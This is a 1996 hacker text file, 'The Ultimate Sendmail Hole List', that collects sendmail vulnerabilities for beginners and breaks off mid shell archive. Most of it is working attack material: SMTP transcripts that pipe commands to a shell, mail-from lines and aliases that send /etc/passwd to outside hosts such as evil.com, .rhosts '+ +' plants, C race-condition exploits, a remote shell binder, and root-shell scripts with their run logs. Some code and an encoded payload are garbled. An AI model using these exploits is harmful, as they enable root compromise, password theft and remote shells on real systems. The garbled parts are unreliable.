The Ultimate Sendmail Hole List Data Collected by: Zhart 25/11/96 Italy I wanna say that I don't take any credit for this text, I simply collected and reorganized all the info that was all around for my harddisk (and in my head), just commented some bugs or added something; sometimes I haven't even tested the source codes. I started compiling this list for my own use, then I thought it would be interesting also for other ppl, mainly beginners, or maybe nobody. For any comments you can reach me on L.O.R.E. bbs ----------------------------------------------------------------- Hole Version of Sendmail ----------------------------------------------------------------- = WIZ = *oLD* = DEBUG = *oLD* = TURN = *oLD* = OVERFLOW INPUT BUFFER = *oLD* = DECODE ALIAS = *VrFy* = qf SunOS = *SunOS-sendmailV5.1* = -oR SunOS = *SunOS-sendmailV5.22* = -oM = *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)* = OVERWRITE FILES = *FiXED iN 5.59* = -oQ = *DuNNo* = |PROGRAM = *TeSTeD oN 5.55* = .forward = *5.61* = TAIL = *TeSTeD oN 5.65* = -C = *oLD* = 4.1 = *TeSTeD oN 4.1* = -d########### = *8.X.X <8.6.7* = -oE/filename bounce= *8.6.7* = 8.6.9 ident = *8.6.9* = 8.6.9 newlines = *8.6.9* = 8.6.10 ident/newlines = *8.6.10* = HP-UX = *HP-UX 9.x* = 8.7.5 gecos = *8.X.X <8.8.0* *TeSTed oN 8.6.12* = mime7to8() = *8.8.0* = smtpd = *8.7-8.8.2* ---------------------------------------------------------------- = WIZ = *oLD* The oldest and easiest hole in sendmail is the 'wiz' backdoor, now very difficult to find. At the connect just type 'wiz' and then 'SHELL' ,and you're in a root shell. [ it can be set by configuring sendmail.cf file ... 'OW' option immediately followed by the encrypted password ] = DEBUG = *oLD* This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting allows anyone to execute any program on a remote machine. It simply consists in giving the 'debug' command, use a pipe to /bin/sh as recipient and feed the data with the commands you want to be executed on the remote machine. [ If sendmail server answers with "200 Debug set" to the 'debug' command there are good chances the bug is still present ] Example : #!/bin/sh telnet << EOF open fucked.host.edu 25 debug mail from: rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\"> data cp /bin/sh /tmp/sushi # or alternatively: chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts . EOF = TURN = *oLD* TURN command allows mail to be stolen ... [ Don't bother, old stuff! ] = OVERFLOW INPUT BUFFER = *oLD* Cause the sendmail deamon to lock up ... [ old stuff! Just for collection ;) ] = DECODE ALIAS = *VrFy* If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. To test the existence of decode alias from a sendmail connection do: % telnet target.com Trying 127.127.127.127 Connected to target.com Escape character is '^]'. 220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode 250 <"|/usr/bin/uudecode"> quit /\/ 1SecExploit \/\: % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com /\/ MoreThan1SecExploit \/\: % cat > outfile # Let's make our .rhosts file + + ^C % uuencode outfile /usr/bin/.rhosts begin 644 /bin/.rhosts $*R'K"O\ % telnet fuqdhost.com 25 220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST) VRFY decode 250 <|/usr/bin/uudecode> MAIL FROM: bin 250 ... Sender Okay RCPT TO: decode 250 ... Recipient Okay DATA 354 Enter mail, end with "." on a line by itself begin 644 /bin/.rhosts $*R'K"O\ # which is just "+ +" uuencoded end . 250 Mail accepted quit 221 fuqdhost.com closing connection Connection closed by foreign host. % rlogin fuqdhost.com -l bin $ If no home directories are known or writable, an interesting variation of this is to create a bogus /etc/aliases.pag file that contains an alias with a command you wish to execute on your target. This may work since on many systems the aliases.pag and aliases.dir files, which control the system's mail aliases, are writable to the world. evil % cat decode bin: "| cat /etc/passwd | mail zen@evil.com" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null = qf SunOS = = SunOS-sendmailV5.1 = The method used by sendmail version 5 to open a control file [/usr/spool/mqueue/qf########] is unsecure. A race condition exists whereby another process may obtain a control-file file descriptor, opened for write access. Sendmail v5, during execution, sets umask(0), which is an insecure mask. In order not to leave open control files with mode 666, sendmail v5 uses chmod(2) to set a secure file mode. However this is a race condition, as we can obtain an open file descriptor for write by opening the control file before the call to chmod(2). IMPACT: Local users can write their own control files, and run programs as any user, bar root. EXPLOIT: grabfd.c: /* * grabfd.c * usage: grabfd username command-file * * username: user to execute 'command-file' as. * command-file: file containing 10 lines of shell commands to execute. */ #include #include #include #include #ifndef SENDMAIL #define SENDMAIL "/usr/lib/sendmail" #endif #ifndef SPOOL_DIR #define SPOOL_DIR "/usr/spool/mqueue" #endif char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n"; main(argc,argv) int argc; char **argv; { int pid, fd; char tbuf[MAXPATHLEN], sysbuf[BUFSIZ]; if (argc != 3) { (void)fprintf(stderr, "%s: user file\n", argv[0]); exit(1); } if (getpwnam(argv[1]) == NULL) (void)fprintf(stderr, "%s: user %s unknown (error ignored)\n", argv[0], argv[1]); if (access(argv[2], F_OK) == -1) { (void)fprintf(stderr, "%s: %s does not exist.\n", argv[0], argv[2]); exit(1); } if (access(SPOOL_DIR, X_OK) == -1) { (void)fprintf(stderr, "%s: cannot access %s.\n", argv[0], SPOOL_DIR); exit(1); } if (pid=fork()) { if (pid == -1) { (void)perror("fork"); exit(1); } (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid); (void)sprintf(sysbuf, myqfile, argv[2], argv[1]); for (;;) if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) { (void)printf("%s: grabbed queue fd.\n", argv[0]); (void)wait(); (void)ftruncate(fd, 0); (void)write(fd, sysbuf, strlen(sysbuf)); (void)close(fd); if(execl(SENDMAIL, "sendmail", "-q", (char *)0) == -1) { (void)perror("execl"); exit(1); }; } } else { (void)close(0); if (open("/etc/motd", O_RDONLY, 0) == -1) { (void)perror("open"); exit(1); }; if (execl(SENDMAIL, "sendmail", #ifdef sun "-os", #endif "-odq", getlogin(), (char *)0) == -1) { (void)perror("execl"); exit(1); }; } exit(1); } ::::::::::::::::::::::::::::::::: END OF HOLE :::::::::::::::::::::::::::: = -oR SunOS = *SunOS-4.1.X-sendmailV5.22* From 8lgm: ---------- DESCRIPTION: The -oR option uses popen() to return undeliverable mail. IMPACT: Local users can obtain root access. -------------------------- ropt.sh --------------------------------------- #!/bin/sh # # Syntax: roption host # # host is any system running sendmail (except localhost). # # This exploits a flaw in SunOS sendmail(8), and attempts # create a suid root shell # # Written 1995 by [8LGM] # Please do not use this script without permission. # PROG="`basename $0`" PATH=/usr/ucb:/usr/bin:/bin export PATH IFS=" " export IFS # Check args if [ $# -ne 1 ]; then echo "Syntax: $PROG host" exit 1 fi # Check we're on SunOS if [ "x`uname -s`" != "xSunOS" ]; then echo "Sorry, this only works on SunOS" exit 1 fi PROG="`basename $0`" EXECME=/tmp/HotterThanMojaveInMyHeart # Create EXECME.c cat > $EXECME.c << 'EOF' main(argc,argv) int argc; char *argv[]; { chown("/tmp/InfamousAngel", 0, 0); chmod("/tmp/InfamousAngel", 04755); } EOF cc -o $EXECME $EXECME.c # Check we have EXECME if [ ! -x $EXECME ]; then echo "$PROG: couldnt compile $EXECME.c - check it out" exit 1 fi /bin/cp /bin/sh /tmp/InfamousAngel # Run sendmail /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF' To: No1InParticular Hows it goin EOF exec /tmp/InfamousAngel ................................ Cut HeRe ................................... = -oM = *8lgm6Dec1994-SMI-Sendmail(based on SunOS sm)* Sun sendmail allows -oM to set any macro, and still retains root privilege. ( The list of 'trusted' macros should be limited. ) At time of writing (Dec 1994) affected sendmail were: " SunOS 4.x Sendmail - all versions including latest 4/5/94 Sendmail Jumbo Patch 100377-15 " After further investigation, it has been discovered that SVR4 based ports include sendmail(8) based on SMI code. EXPLOIT: 1. Create the file sunsendmailcp 8>------------------------- cut here --------------------------- #!/bin/sh # # sunsendmailcp from to if [ $# -ne 2 ]; then echo usage: `basename $0` from to exit 1 fi rm -f /usr/tmp/dead.letter if [ -f /usr/tmp/dead.letter ]; then echo sorry, cant continue - /usr/tmp/dead.letter exists fi if [ ! -r $1 ]; then echo $1 doesnt exist or is unreadable exit 1 fi ln -s $2 /usr/tmp/dead.letter /usr/lib/sendmail -L0 '-oM#anything' $USER < $1 rm /usr/tmp/dead.letter exit 0 8>------------------------- cut here --------------------------- 2. Execute the command % ./sunsendmailcp sourcefile targetfile and target file will either be appended to or created. .................................. ................................. = OVERWRITE FILES = *FiXED iN 5.59* Remote users are able to write to any *non-root* owned files in the system. This bug was definitely fixed in version 5.59 from Berkeley; despite the messages below, for versions of sendmail previous to 5.59, the "evil.com" gets appended, despite the error messages, along with all of the typical mail headers, to the file specified: % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % = '-oQ' = *DuNNo* This bug involves the '-q' and the '-oQ' options and causes any file to be deleted and read. You should create a 'qf'-type file, in the /usr/spool/mqueue dir, like this: P28 T599831504 Dfilename Suser Ruser H?P?return-path: H?F?from: user (User Name) H?x?full-name: User Name HTo: user Hsubject: Gotcha after the command `sendmail -q -oQ' is issued, file `filename' will be deleted and its content will be mailed to 'user'. - - - - The 'oQ' sets the 'Q' option ,which selects the dir in which to queue messages The 'q' make the daemon to process the queue - - - - = '|PROGRAM ' = *TeSTeD oN 5.55* ...may be others Anyone can specify arbitrary shell commands and/or pathnames for the sender and/or destination address. A typical attack to get the password file is: % telnet target.com 25 Trying 123.456.789.0... Connected to target.com Escape character is '^]'. 220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51 mail from: "|/bin/mail me@myhost.com < /etc/passwd" 250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok rcpt to: mickeymouse 550 mickeymouse... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. % = .forward = *5.61* When delivering to files and programs, `sendmail' does not do an `initgroups(3)' after forking on final delivery. As a result, the sender's group list remains in effect throughout this stage. This is particularly serious when root is sending the mail since a program executed out of a `.forward' file gains interesting privileges like `wheel' and `kmem'. A related hole can be broken down into a "problem" and an "aggravation". The "problem" is that queued local mail no longer has the original recipient's uid associated with it. Control files only store a list of exploded recipients (i.e. users, files and programs) -- one per line -- each prefaced with an `R'. So, after an address resolves to the local machine and has undergone alias and ".forward" expansion, if the letter happens to get queued, on the succeeding queue run sendmail doesnt know who to run the final delivery as. The "aggravation" is that, when doing this final delivery of queued local mail, sendmail will `setuid()' itself to the sender's uid if it is available; in general, the sender's uid will be used when the sender is on the local machine. As a result, a user can run a program as anyone who sends them mail from the local machine. There is also an added "complication"; the default uid and gid are also set to the sender when delivering mail! Since the default uid and gid are only used when calling `setuid()' and `setgid()' (to reset the uid/gid before doing final delivery), these variables should never be set to the sender. ========================== Local compromise ========================== Save the following program as "sploit.c" changing MYUID to your user id. Compile "sploit.c" producing the executable "sploit" in your home directory. Create a ".forward" file containing: \, "|/sploit" [change to your username so you dont lose mail (unless, of course, you'd rather lose mail) and set to your home directory path (where sploit lives)] Now, as another user, send yourself some mail. Note that the sploit program defers delivery the first time thru; check out "/tmp/whoami" to see that sploit ran as you. Now, run your mail queue (or open a beer and wait for sendmail to run it). After the queue run, note that the sploit accepted the letter and returned a successful exit status; check out "/tmp/whoami" again to see that this time, sploit ran as the sender! You can also use "sploit.c" to test for the root initgroups() hole by checking the group list when "sploit" was first called. #include #include #include #include #include #include #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */ #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */ #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */ main() { FILE *fp; uid_t myuid; int i, rval, ngrps, grplst[NGROUPS]; if ((myuid = getuid()) == MYUID) rval = EX_TEMPFAIL; else rval = EX_OK; if ((fp = fopen("/tmp/whoami", "a")) != NULL) { /* real user/group ids */ fprintf(fp, "%susr:%s grp:%s", (rval == EX_OK)? "": "Def> ", getuser(myuid), getgrp(getgid())); /* effective user/group ids */ fprintf(fp, " eusr:%s egrp:%s", getuser(geteuid()), getgrp(getegid())); /* group list */ if ((ngrps = getgroups(NGROUPS, grplst)) > 0) { fprintf(fp, " grps:"); for (i = 0; i < ngrps; i++) fprintf(fp, " %s", getgrp(grplst[i])); } fprintf(fp, "\n"); (void) fclose(fp); } exit(rval); } --------------------- CuT HeRe ------------------------------------------------- ===================== trick for sendmail 5.61 =========================== /* * 1) set the #define UID, at the top of the program to be your's * 2) create a file: /tmp/.shell, which is a script to make a suid shell * 3) compile the program and name it say, /tmp/.magic * 4) create a .forward file containing: '|/tmp/.magic' * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever * you want a shell from (but not root :-( RATS!) * 6) wait abit, it usually works ... */ #define UID 777 /* change to your uid */ #include #include #include #include #include #include #define SHELLFILE "/tmp/.shell" main() int myuid, rval; if ((myuid = getuid()) == UID) rval = EX_TEMPFAIL; else { rval = EX_OK; system(SHELLFILE); } exit(rval); } ------------------------------ CuT HeRe -------------------------------- = Tail creates a daemon shell = *TeSTeD oN 5.65* Through this sendmail bug, it is possible to become uid daemon (or whatever your sendmail delivers non-user mail as), or the uid of any user. The specifics are as follows: * The envelope From: field, or possibly the Errors-To: header (but I've not tested it), must be set to the pipe through a bounce of your mail will be returned. Typically this is executed by uid daemon. * An error must be caused in the message such that sendmail will send a bounce to the From: envelope (or possibly to Errors-To:). These two conditions are all that is necessary to exploit the bug. Typically the simplest thing to pipe to is |/usr/ucb/tail|/usr/bin/sh aka |/usr/ucb/tail|/bin/sh That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/; the PATH is important in the case. The condition we have used to generate an error is an invalid Return-Receipt-To: header. There are a plethora of other ways to do so, and some of them may depend on the specifics of your sendmail; be forewarned. The last ten lines of your message should contain whatever you wish to do as uid daemon. ---cut here [panix!jhawk] |% telnet panix.com 25 Trying 198.7.0.2 ... Connected to panix.com. Escape character is '^]'. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13 -0500 HELO 250 Hello panix.com, why do you call yourself ? MAIL FROM: |/usr/ucb/tail|/usr/bin/sh 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok RCPT TO: root 250 root... Recipient ok DATA 354 Enter mail, end with @.@ on a line by itself From: jhawk"panix.com (John Hawkinson) To: jhawk"panix.com (John Hawkinson) Return-Receipt-To: |foobar Subject: This is a large hole in the ground. X-Disclaimer: We take no responsibility for what might happen Hi there. Wanna play ball? #!/bin/sh #The above line is just in case :-) echo This is a Serious Bug > /tmp/bug echo id reports: >> /tmp/bug /usr/bin/id >> /tmp/bug echo Fixing this would be good >> /tmp/bug cp /bin/sh /tmp/bugshell chmod u+s /tmp/bugshell echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug chmod ugo+rx /tmp/bugshell . 250 Ok quit 221 panix.com closing connection ------------------------- CuT HeRe ---------------------------------------- = "-C" = *oLD* Read any file. Using the '-C' option causes an alternative configuration file to be used, if the file is a protected file which is actually not a send mail configuration file, `sendmail' will print out some contents of the file as an error message. It is reported working on DYNIX (3.0.14) and ULTRIX (2.X) $ sendmail -C /etc/shadow = 4.1 = *TeSTeD oN 4.1* It allows remote access as bin...and since bin owns the /etc dir you can gain root. Rsend needs mconnect, which is a binary, which just connects to the place and sends the data. You can get rid the of ()'s at the beginninga and end of the script, and get rid of the mconnect line, and run like ./rsend > file, then ascii U/L the file to port 25...If it says a lot of stuff like "Command Ununown" 25 times, then it didn't work. Here's rsend: #!/bin/sh # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com) # # This material is copyrighted by Scott Chasin, 1992, 1993. The # usual standard disclaimer applies, especially the fact that the # author is not liable for any damages caused by direct or indirect # use of the information or functionality provided by this program. # # Description: # # Exploit NEW sendmail hole and bind a port so we can spawn a program. # Not for distribution under any circumstances # # Usage: smail # default: smail <7001> port=$3 user=$2 cmd=$4 if [ -z "$2" ]; then user=daemon fi if [ -z "$3" ]; then port=7002 fi if [ -z "$4" ]; then cmd="/bin/csh -i" fi ( sleep 4 echo "helo" echo "mail from: |" echo "rcpt to: bounce" echo "data" echo "." sleep 3 echo "mail from: $user" echo "rcpt to: | sed '1,/^$/d' | sh" echo "data" echo "cat > /tmp/a.c < #include #include #include #include reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x /tmp/a.c < #include #include #include #include reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x/dev/null exit 1 ;; esac cat << EOM > /tmp/sendmail.cf DMether DRlocalhost CRlocalhost CDMailer-Daemon root daemon uucp DlFrom \$g \$d Do.:%@!^=/[] Dq\$g\$?x (\$x)\$. De\$j nothing OA./aliases OF0666 Og1 OL0 Oo OPPostmaster OQ. Os Ou1 T root daemon uucp H?F?From: nobody Mlocal, P=/tmp/in.telnet, F=flsSDFMmnP, S=10, R=20, A=mail -d \$u Mprog, P=/tmp/in.telnet, F=lsDFMeuP, S=10, R=20, A=sh -c \$u S0 R\$+ \$#local \$:\$1 just rewrite EOM cat $0 | sed "s:atreus::" | uudecode uncompress /tmp/in.telnet.Z chmod 755 /tmp/in.telnet mkdir /tmp/mail cp /tmp/sendmail.cf /tmp/mail cp /bin/sh /tmp/newsh chmod 666 /tmp/newsh $sendmail -d${n1}.116,${n2}.109,${n3}.112 `whoami` <Q2RA)! %(atreus M5$,).9]$%38!E!= H,(LP$LV*KJ*8(15)".N(AI2!6Q*(@ HPM6U6<4A@716atreus M+H@"%QQ:D@!. ":U%L;2T'36E%H$D 0 H"!ML><#H0N.!B?A-(#4!5>PGGT9atreus M068Z7==^%;%A[ BS!U6]5@P*#4V;. $L*)YY,P%@$LP"B' [-X#=O=56&'N!atreus M]4'J<$(""V!.*1]U2@&Q4TJHY5J8,@FC%"+^00 3&, (" HC_B$@" 1@D*$@atreus M))R!$, GQ!0$'1^!' ,. H&@4;"CP$@ EIKMFFatreus MG%-6>24;66X)0AMAP %'&FZ< 8(98:3!1AURE)'G0A3TR::;<'H)IIADXKG0atreus M"W2T <<+;I1QQQQH%#35+Y",%40(+OET@!X5 @ )!2) AT MN;AF:Z\Q@K atreus M 7F8E4([MJZ1:X02\*LD[8X+Q )U'20!M_U\!$H DDB24W8*6"M*N."$H@(8 D!#P'B?P&03atreus M0J 0\@,_,N"K\'C0@BBB5%15>Y(TV')3%QCH I *.%R 0BI51#1!36 $ 4(1>7X0Y$5)%M!!R"TL$L(50[ atreus MI8N8&A"-4WJ:/7H#?P%H]060%G&Z00P!DP-, 8NA9 D\&B*,Gatreus M"Y$-X$=!(M1=D R9%R"'4$06M$/F!^0@E$)%? ^*GDO@R0% IQ I") %>LI"atreus M9 A@BH*,@!0("0-/B**G-)"/#GJ20^9,(Q1H((00HSM ')Z'D$F,3@#3$ HXatreus M$"**R!@@#P[$ D)JX<)$L&^%!4%&_/X'+&1\H0QT* ,>,/A#,H2!#F$ P _=atreus M0 8 S &):G(B%.GP!3.PX0U'5.(/\9 &(B**44HL@QOLD(8RN4&+1,B"$X+0atreus MA"0,(8Q<).(8T-"&-S3Q"W-\PQW.^(4^?I&/X88M=U*(0N_@%atreus M,M2A#6W(0R/+,(:L]?$+0Z#"$Z3P!28D80I4Z*,6OT $37+2DZ 4Y27)\(8Oatreus MG.&*8@@#&_!(AS?(80ZC9*4K82G+1M;REHJ,8R,?&1"=*T8I:]*(8S:A&-\K1CGKTHR -J4A'2M*2FO2D*$VI2E?*TI:Z]*4Patreus MC:E,9TK3FMKTICC-J4YWRM.>^O2G0 VJ4(=*U*(:]:A(3:I2E\K4ICKUJ5"-atreus MJE2G2M6J6O6J6,VJ5K?*U:YZ]:M@#:M8QTK6LIKUK&A-JUK7RM:VNO6M<(VKatreus M7.=*U[K:]:YXS>M2_0,$UP&+!"'V!BPN"(5D !B !W4"6)U0;R&5*P Ratreus M$()#[@$ L3XQ7"" 0;*HO H43OL'/SQ+%= ^+1]!"YT(VN=*=+atreus MW>I:][K8S:YVM\O=[GKWN^ -KWC'2][RFO>\Z$VO>M?+WO:Z][WPC:]\YTO?atreus +^MKWOOC-KW[WFUS=atreus atreus endatreus ----------------------- CuT HeRe ------------------------------------- Here it is the other script: /* What follows is a sample run exercising the latest sendmail hole and the script used to exploit this hole. This is a re-send; I neglected to escape the "." in the sendmail script, leaving the program slightly truncated. To fix this, I have escaped the . so prior to executing this you must remove the \. (does that make any sense? :-) There was also a small problem with nested quotes pointed out by Peter Wemm which I have fixed. This is the "small version" of the script; it assumes you have a sane sendmail.cf. In this manner, it is not a particularly robust "breakin script" but I believe it does illustrate how to exploit the bug. This program uses "calc.c," the program mentioned by Timothy Newsham in an earlier message. The program has been modified slightly so that it gives better results (it would occasionally fail to locate the offset of a config given a buggy sendmail. The fix is to force a sync() after it generates a coredump.) The remainder of the program was written by myself and a fellow student, Steven Dake. We have held off on releasing this script until we were able to notify the people responsible for system security at NAU. Locals subscribing to this digest beware; sendmail on our machines has been patched! :-) */ Script started on Thu Mar 24 00:54:54 1994 [pine] [1] date Thu Mar 24 00:54:57 MST 1994 [pine] [2] whoami jwa [pine] [3] id uid=4473(jwa) gid=400(student) [pine] [4] ls -l sendbug.sh -rwx------ 1 jwa student 4893 Mar 24 00:46 sendbug.sh* [pine] [5] sendbug.sh Creating setid0 ... Creating calc... Scanning core image for /nau/local/lib/mail/sendmail.cf... Creating alias.sh ... Creating fake alias file... Faking alias pointer in new config file... Creating the sendmail script... Executing /usr/lib/sendmail - d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429 4935554.109,4294935555.46,4294935556.9 Version 8.6.4 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994 00:55:21 -0700 220 ESMTP spoken here 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you 250 ... Sender ok 250 ... Recipient ok 354 Enter mail, end with "." on a line by itself 250 AAA01803 Message accepted for delivery 503 Need MAIL before RCPT 503 Need MAIL command 500 Command unrecognized 500 Command unrecognized 221 pine.cse.nau.edu closing connection setid0 is a suid shell. executing... executing /bin/csh... pine# whoami root pine# id uid=0(root) gid=0(root) pine# exit pine# end of script. . and here's the program. #!/bin/sh # exploit new sendmail bug to give us a root shell # 24 mar 94 jwa/scd @nau.edu # "short version" # tested on sunos 5.2/sendmail 8.6.4 # location of sendmail SENDMAIL=/usr/lib/sendmail # location of original sendmail.cf file CONFIG=/nau/local/lib/mail/sendmail.cf #CONFIG=`strings $SENDMAIL | grep sendmail.cf` # program to execute as root SHELL=/bin/csh TEMPDIR=/tmp/sendbug-tmp.$$ mkdir $TEMPDIR chmod 700 $TEMPDIR cd $TEMPDIR cp $SENDMAIL sm chmod 700 sm echo "Creating setid0 ..." cat > setid.c << _EOF_ /* set uid to zero, thus escaping the annoying csh and solaris sh * problem.. * * if (getuid() != geteuid()) { * printf("permission denied, you root-hacker you.\n"); * exit(1); * } * * .. must be run euid 0, obviously. with no args it runs /bin/sh, * otherwise it runs the 1st arg. */ #include main(argc, argv) int argc; char *argv[]; int uid; setuid(0); setgid(0); seteuid(0); /* probabally redundant. */ setegid(0); uid = getuid(); if (uid != 0) { printf("setuid(0); failed! aborting..\n"); exit(1); } if (argc !=2) { printf("executing /bin/sh...\n"); system("/bin/sh"); } else { printf("executing %s...\n", argv[1]); system(argv[1]); } _EOF_ cc -o setid0 setid.c echo "Creating calc..." cat > calc.c << _EOF_ /* * Determines offset in sendmail of * sendmail.cf file location. * author: timothy newsham */ #include gencore() int pid; int fd[2]; if(pipe(fd) < 0) { perror("pipe"); exit(1); return(0); } pid = fork(); if(!pid) { int f = open("./out", O_RDWR|O_CREAT, 0666); dup2(f, 1); dup2(fd[0], 0); close(f); close(fd[1]); close(fd[0]); execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0); perror("exec"); exit(0); } else { sleep(2); kill(pid, 11); } close(fd[0]); close(fd[1]); main(argc,argv) char **argv; int argc; unsigned int ConfFile,tTdvect,off; gencore(); sync(); /* grr. */ tTdvect = find("ZZZZZZZZ", "core"); ConfFile = find(argv[1], "core"); if(!tTdvect || !ConfFile) { return(1); } off = ConfFile - tTdvect; printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n", off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \ off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10); int find(pattern, file) char *pattern,*file; int fd; int i, addr; char c; fd = open(file, 0); i = 0; addr = 0; while(read(fd, &c, 1) == 1) { if(pattern[i] == c) i++; else i=0; if(pattern[i] == '\0') { addr -= strlen(pattern); return(addr); } addr++; } return(0); _EOF_ cc calc.c -o calc echo "Scanning core image for $CONFIG..." DEBUGFLAGS=`calc $CONFIG` echo "Creating alias.sh ..." echo "#!/bin/sh # this program will be executed when mail is sent to the fake alias. # since solaris sh and csh and tcsh refuse to run when euid != realuid, # we instead run the program we compiled above. /bin/chmod 6777 $TEMPDIR/setid0 /bin/chown root $TEMPDIR/setid0 /bin/sync " > alias.sh chmod 755 alias.sh echo "Creating fake alias file..." echo "yash: |$TEMPDIR/alias.sh" > aliases echo "Faking alias pointer in new config file..." egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf echo " # hacks follow OA/$TEMPDIR/aliases # our fake alias file Ou0 # user ID to run as Og0 # group ID to run as DZWHOOP-v1.0" >> /tmp/sm.cf echo "Creating the sendmail script..." cat > sendmail.script << _EOF_ helo mail from: rcpt to: data yet another sendmail hole? suid whoop? \. # oops.. delete \ prior to execution quit _EOF_ echo "Executing $SENDMAIL $DEBUGFLAGS -bs..." $SENDMAIL $DEBUGFLAGS -bs < sendmail.script # give it time to execute. sleep 4 # cleanup in 5 seconds (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) & if [ -u setid0 ] then echo "setid0 is a suid shell. executing..." cd / $TEMPDIR/setid0 /bin/csh echo "end of script." exit 0 else echo "setid0 is not suid; script failed." echo "apparently, you don't have the bug. celebrate :-)" exit 1 fi --------------------------------- CuT HeRe -------------------------------- = -oE/filename bounce = *8.6.7* Version affected: 8.6.7 A bug in Sendmail 8.6.7 allows anyone to read any file, including the shadowed password file: /usr/lib/sendmail -oE/etc/shadow bounce From: your_username = 8.6.9 = *8.6.9 or earlier* Mail any file to yourself. ------8<-------------------Cut Here--------------------8<------------------- # This is a shell archive. Save it in a file, remove anything before # this line, and then unpack it by entering "sh file". Note, it may # create directories; files and directories will be owned by you and # have default permissions. # # This archive contains: # # description # sm869.local # sm869.remote # echo x - description sed 's/^X//' >description << 'END-of-description' X XProgram: sm869.remote X Xyou can: X X run the body of the mail through a shell if X sendmail is allowed to run a shell. X X write the whole message to a file. X X have it send back a file to an account you specify. X XThe last option is supposed to remove the file after sending Xit but I found that it hasn't in my tests. Why? Well Xit has multiple recipients, one of the recipients is a Xrecipient that will never go through. So the data file Xgets kept around until it gives up on that host. This Xcan be several days. X XProblems: X X The action you specify will happen every 30minutes (the X queue time, may be different) until it gives up sending X to the unreachable host. (Actually this may be false. X I haven't left it around long enough to see if this happens. X Perhaps sendmail is smart enough to remove the other recipients X that did get delievered from the queue file). X X If you send a file back to yourself it may get removed X several days later. If you get the password file or X some other critical file you had better be ready to clean X up. X X Lots of logs. Its fairly obvious from the log files that X some hokey pokey is going on. If you're sending a file X back to yourself then you're pointing a finger at one X of your accounts X XYou have to go into the program to change the options you Xwant. The code is fairly well commented so this shouldn't Xbe any problem. X XProgram: sm869.local X XSame thing as above really except it works even if sendmail Xdoesnt check identd and you dont have to specify an unreachable Xhost. The 